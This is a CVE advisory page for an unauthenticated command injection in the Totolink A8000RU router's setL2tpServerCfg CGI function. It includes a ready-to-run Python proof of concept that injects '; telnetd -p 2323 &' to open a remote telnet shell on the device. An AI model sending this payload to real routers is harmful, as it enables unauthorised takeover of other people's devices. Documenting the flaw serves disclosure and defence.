Security Vulnerability Report
中文
CVE-2026-9436 CVSS 9.8 CRITICAL

CVE-2026-9436

Published: 2026-05-25 08:16:25
Last Modified: 2026-05-25 08:16:25

Description

A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. The impacted element is the function setL2tpServerCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Executing a manipulation of the argument enable can lead to os command injection. The attack can be executed remotely. The exploit has been published and may be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Totolink A8000RU 7.1cu.643_b20200521

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Payload to inject commands (e.g., ping back to attacker) # Using a semicolon to chain commands payload = "; telnetd -p 2323 &" # Data structure based on typical Totolink requests data = { "function": "setL2tpServerCfg", "enable": payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)" } try: response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if telnet started on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
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